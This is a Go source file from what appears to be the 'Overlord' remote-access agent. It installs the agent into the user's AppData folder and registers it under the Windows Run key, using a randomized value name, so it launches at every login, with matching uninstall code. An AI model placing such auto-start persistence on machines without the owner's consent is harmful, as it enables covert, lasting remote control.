overlord/Overlord-Client/cmd/agent/persistence/persistence_windows.go

//go:build windows
// +build windows

package persistence

import (
	"crypto/rand"
	"encoding/hex"
	"fmt"
	"io"
	"os"
	"path/filepath"
	"strings"

	"golang.org/x/sys/windows/registry"
)

const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
const legacyRegistryValueName = "OverlordAgent"
const registryValuePrefix = "OverlordAgent-"

func formatRunRegistryCommand(exePath string) string {
	trimmed := filepath.Clean(exePath)
	if len(trimmed) >= 2 && trimmed[0] == '"' && trimmed[len(trimmed)-1] == '"' {
		return trimmed
	}
	return fmt.Sprintf("\"%s\"", trimmed)
}

func getTargetPath() (string, error) {
	appDataDir := os.Getenv("APPDATA")
	if appDataDir == "" {
		return "", fmt.Errorf("APPDATA environment variable not set")
	}
	return filepath.Join(appDataDir, "Overlord", "agent.exe"), nil
}

func install(exePath string) error {

	targetPath, err := getTargetPath()
	if err != nil {
		return err
	}

	overlordDir := filepath.Dir(targetPath)
	err = os.MkdirAll(overlordDir, 0755)
	if err != nil {
		return fmt.Errorf("failed to create Overlord directory: %w", err)
	}

	if err := replaceExecutable(exePath, targetPath); err != nil {
		return err
	}

	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
	if err != nil {
		return fmt.Errorf("failed to open registry key: %w", err)
	}
	defer k.Close()

	if err := setStartupRunValue(k, targetPath); err != nil {
		return fmt.Errorf("failed to set registry value: %w", err)
	}

	return nil
}

func replaceExecutable(exePath, targetPath string) error {
	srcFile, err := os.Open(exePath)
	if err != nil {
		return fmt.Errorf("failed to open source executable: %w", err)
	}
	defer srcFile.Close()

	dir := filepath.Dir(targetPath)
	tmpFile, err := os.CreateTemp(dir, "agent-*.tmp")
	if err != nil {
		return fmt.Errorf("failed to create temp executable: %w", err)
	}
	tmpPath := tmpFile.Name()
	defer func() {
		_ = tmpFile.Close()
		_ = os.Remove(tmpPath)
	}()

	if _, err := io.Copy(tmpFile, srcFile); err != nil {
		return fmt.Errorf("failed to copy executable: %w", err)
	}
	if err := tmpFile.Sync(); err != nil {
		return fmt.Errorf("failed to sync temp file: %w", err)
	}
	if err := tmpFile.Close(); err != nil {
		return fmt.Errorf("failed to close temp file: %w", err)
	}

	if err := os.Rename(tmpPath, targetPath); err != nil {
		if removeErr := os.Remove(targetPath); removeErr == nil {
			if err = os.Rename(tmpPath, targetPath); err == nil {
				return nil
			}
		}
		return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
	}

	return nil
}

func configure(exePath string) error {
	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
	if err != nil {
		return fmt.Errorf("failed to open registry key: %w", err)
	}
	defer k.Close()

	if err := setStartupRunValue(k, exePath); err != nil {
		return fmt.Errorf("failed to set registry value: %w", err)
	}

	return nil
}

func uninstall() error {

	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
	if err != nil {
		return fmt.Errorf("failed to open registry key: %w", err)
	}
	defer k.Close()

	if err := cleanupOverlordRunValues(k); err != nil {
		return fmt.Errorf("failed to clean startup registry values: %w", err)
	}

	appDataDir := os.Getenv("APPDATA")
	if appDataDir != "" {
		targetPath := filepath.Join(appDataDir, "Overlord", "agent.exe")

		os.Remove(targetPath)
	}

	return nil
}

func setStartupRunValue(k registry.Key, exePath string) error {
	if err := cleanupOverlordRunValues(k); err != nil {
		return err
	}

	name, err := generateStartupValueName()
	if err != nil {
		return err
	}

	return k.SetStringValue(name, formatRunRegistryCommand(exePath))
}

func cleanupOverlordRunValues(k registry.Key) error {
	names, err := k.ReadValueNames(0)
	if err != nil {
		return err
	}

	for _, name := range names {
		if isOverlordRunValueName(name) {
			if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist {
				return err
			}
		}
	}

	return nil
}

func isOverlordRunValueName(name string) bool {
	if strings.EqualFold(name, legacyRegistryValueName) {
		return true
	}
	return strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix))
}

func generateStartupValueName() (string, error) {
	b := make([]byte, 6)
	if _, err := rand.Read(b); err != nil {
		return "", fmt.Errorf("failed to generate startup value name: %w", err)
	}
	return registryValuePrefix + hex.EncodeToString(b), nil
}